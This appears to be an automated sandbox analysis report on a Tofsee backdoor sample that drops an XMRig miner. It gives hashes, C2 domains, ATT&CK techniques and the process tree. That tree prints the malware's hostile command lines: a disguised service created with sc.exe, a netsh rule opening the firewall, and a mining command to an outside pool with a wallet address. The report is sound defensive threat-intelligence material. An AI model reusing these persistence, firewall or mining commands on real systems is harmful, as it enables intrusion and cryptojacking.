Analysis

  • max time kernel
    145s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 05:47

General

  • Target

    c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0.exe

  • Size

    146KB

  • MD5

    9eb8d070672a4b5b69efe42390229fae

  • SHA1

    1e663e7f5afee9e733e0f1d22f4de13bef5d87b4

  • SHA256

    c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0

  • SHA512

    17534d3eb5460ac62240b068a5b0c7e45a9870473bc7ac7e033ee79d2765dab9332a5dcaaa196bbfcd8c8c99e4d8bc36d469f23200d5bd57be07fd5a29b1dc88

  • SSDEEP

    1536:tPgGptSLgWNkH8K5sjz60R95mkHqxP4S9hcJtqTctmQr6NwYJ8dr9doszDrY6vG:tPg8Gi0R95nqxwNJtnIQr6RkdTYSG

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0.exe
    "C:\Users\Admin\AppData\Local\Temp\c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\febfgqms\
      2⤵
        PID:4904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mjdebjzg.exe" C:\Windows\SysWOW64\febfgqms\
        2⤵
          PID:3624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create febfgqms binPath= "C:\Windows\SysWOW64\febfgqms\mjdebjzg.exe /d\"C:\Users\Admin\AppData\Local\Temp\c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description febfgqms "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start febfgqms
          2⤵
          • Launches sc.exe
          PID:4524
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4184
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 1156
          2⤵
          • Program crash
          PID:3328
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4992 -ip 4992
        1⤵
          PID:4560
        • C:\Windows\SysWOW64\febfgqms\mjdebjzg.exe
          C:\Windows\SysWOW64\febfgqms\mjdebjzg.exe /d"C:\Users\Admin\AppData\Local\Temp\c10adf94121c4e6b061a23d3c31bfdcf371747d93935d3efeafa3c1676822bb0.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:520
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1380
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4752 -s 536
            2⤵
            • Program crash
            PID:3080
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4752 -ip 4752
          1⤵
            PID:2936

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\mjdebjzg.exe
            Filesize

            13.3MB

            MD5

            4c553c08dfab5cbda1aff6fe71d9e3d1

            SHA1

            3189f3c492c3339a4fd1047bc31d4286103af995

            SHA256

            8d2c6eedc250c90ca3d2f2ccd4324cb10977c57bed0e20d2680399c3c6e047d8

            SHA512

            f31e9fe972f48a5fe2cd96828dba6c5876bd96824af159576b47441319c8b53090ecc4234c713d805aa1eaaa85133400bb815d35fbb0f17c7d53bde4118fbb19

          • C:\Windows\SysWOW64\febfgqms\mjdebjzg.exe
            Filesize

            13.3MB

            MD5

            4c553c08dfab5cbda1aff6fe71d9e3d1

            SHA1

            3189f3c492c3339a4fd1047bc31d4286103af995

            SHA256

            8d2c6eedc250c90ca3d2f2ccd4324cb10977c57bed0e20d2680399c3c6e047d8

            SHA512

            f31e9fe972f48a5fe2cd96828dba6c5876bd96824af159576b47441319c8b53090ecc4234c713d805aa1eaaa85133400bb815d35fbb0f17c7d53bde4118fbb19

          • memory/520-157-0x00000000009E0000-0x00000000009E6000-memory.dmp
            Filesize

            24KB

          • memory/520-154-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/520-146-0x0000000000000000-mapping.dmp
          • memory/520-147-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/520-153-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/520-163-0x00000000019E0000-0x00000000019E5000-memory.dmp
            Filesize

            20KB

          • memory/520-152-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/520-169-0x00000000019F0000-0x00000000019F7000-memory.dmp
            Filesize

            28KB

          • memory/520-166-0x0000000007080000-0x000000000748B000-memory.dmp
            Filesize

            4.0MB

          • memory/520-160-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/992-139-0x0000000000000000-mapping.dmp
          • memory/1380-173-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/1380-178-0x0000000000C00000-0x0000000000CF1000-memory.dmp
            Filesize

            964KB

          • memory/1380-172-0x0000000000000000-mapping.dmp
          • memory/3220-138-0x0000000000000000-mapping.dmp
          • memory/3624-136-0x0000000000000000-mapping.dmp
          • memory/4184-141-0x0000000000000000-mapping.dmp
          • memory/4524-140-0x0000000000000000-mapping.dmp
          • memory/4752-150-0x0000000000609000-0x0000000000619000-memory.dmp
            Filesize

            64KB

          • memory/4752-151-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/4904-135-0x0000000000000000-mapping.dmp
          • memory/4992-145-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/4992-132-0x000000000063D000-0x000000000064D000-memory.dmp
            Filesize

            64KB

          • memory/4992-144-0x00000000005F0000-0x0000000000603000-memory.dmp
            Filesize

            76KB

          • memory/4992-143-0x000000000063D000-0x000000000064D000-memory.dmp
            Filesize

            64KB

          • memory/4992-133-0x00000000005F0000-0x0000000000603000-memory.dmp
            Filesize

            76KB

          • memory/4992-134-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB